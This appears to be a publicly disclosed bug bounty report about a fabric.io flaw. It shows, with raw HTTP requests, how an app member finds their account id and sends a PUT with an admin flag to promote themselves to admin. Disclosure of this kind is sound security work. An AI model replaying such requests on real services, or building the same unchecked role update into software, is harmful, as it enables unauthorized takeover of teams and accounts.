HexBrain

X / xAI · Report #42961

fabric.io - app member can make himself an admin

Validstatus
$1,400bounty
4upvotes
9 Mar 2015disclosed

How it was found

Let say, Alice is a member of TestApp.

-> Log into fabric.io as Alice and navigate to settings. -> Click on Apps and choose TestApp. -> Click on team members link and notice that Alice role is Member.

Clicking on team members link sends a similar request as shown below.

GET /api/v2/organizations/[orgid]/apps/[appid]/team_members HTTP/1.1 Host: fabric.io ...

Response to the above request displays the Alice id as shown below. ..{"name":"alice","email":"[email protected]","id":"54aa4ab19ea6961359001260","is_activated":true,"is_admin":false}]

-> Use the alice id and send the below shown PUT request.

PUT /accounts/54aa4ab19ea6961359001260 HTTP/1.1 Host: fabric.io User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:34.0) Gecko/20100101 Firefox/34.0 Accept: application/json, text/javascript, /; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json; charset=UTF-8 X-CSRF-Token: ... X-CRASHLYTICS-DEVELOPER-TOKEN: ... X-Requested-With: XMLHttpRequest Referer: https://fabric.io/settings/apps/54ad5e03a25bb8136b000002/team_members Cookie: _fabric_session=... Connection: keep-alive Content-Length: 17

{"admin":true}

Note: In the above request Content-Type: application/json; charset=UTF-8 is mandatory.

-> It changes the Alice role to Admin. -> Refresh the browser and navigate to TestApp team members. You will notice Alice role is Admin. Now, Alice can change/delete all other users in the team.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original